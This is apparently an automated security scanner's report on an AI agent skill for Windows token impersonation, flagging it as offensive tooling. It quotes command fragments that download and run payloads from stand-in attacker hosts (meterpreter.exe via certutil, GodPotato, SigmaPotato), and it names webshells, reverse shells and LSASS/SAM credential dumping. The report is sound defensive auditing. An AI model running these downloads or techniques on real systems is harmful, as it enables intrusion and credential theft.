windows-token-impersonation

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). This prompt instructs the agent to embed plaintext credentials and secrets directly into commands and scripts (e.g., ConvertTo-SecureString 'PASSWORD', schtasks ... /rp PASSWORD, explicit credential objects and webshell triggers), forcing the LLM to handle/output secret values verbatim and creating a high exfiltration risk.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These URLs are highly suspicious because several are attacker-controlled HTTP links directly serving executables and a PowerShell script (meterpreter.exe, GodPotato-NET4.exe, SigmaPotato.exe, shell.ps1) and include an active webshell invocation — clear indicators of malicious payload distribution; only the ohpe.it and loldrivers.io links are benign documentation/research references.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document is clearly high-risk offensive tooling and provides step-by-step, intentional malicious techniques (webshell deployment, reverse shells, token impersonation/"potato" exploitation, privileged token theft, LSASS/SAM exfiltration, service/driver replacement and persistence, in-memory payload loading, and hidden network callbacks) that enable remote code execution, credential theft, data exfiltration, and persistent backdoors.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill explicitly instructs runtime downloads that are executed (e.g., in-memory load of "http://ATTACKER_IP/SigmaPotato.exe" via DownloadData, iwr http://ATTACKER_IP/GodPotato-NET4.exe -OutFile ... followed by execution, and certutil -urlcache -f http://ATTACKER:8888/meterpreter.exe), so external URLs are used at runtime to fetch and run required code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs the agent to deploy webshells, create scheduled tasks, write/overwrite system files (e.g., utilman.exe), modify registry service entries, load drivers, save registry hives, and run privilege-escalation binaries to obtain SYSTEM — all actions that change and compromise the host state and require/seek elevated privileges.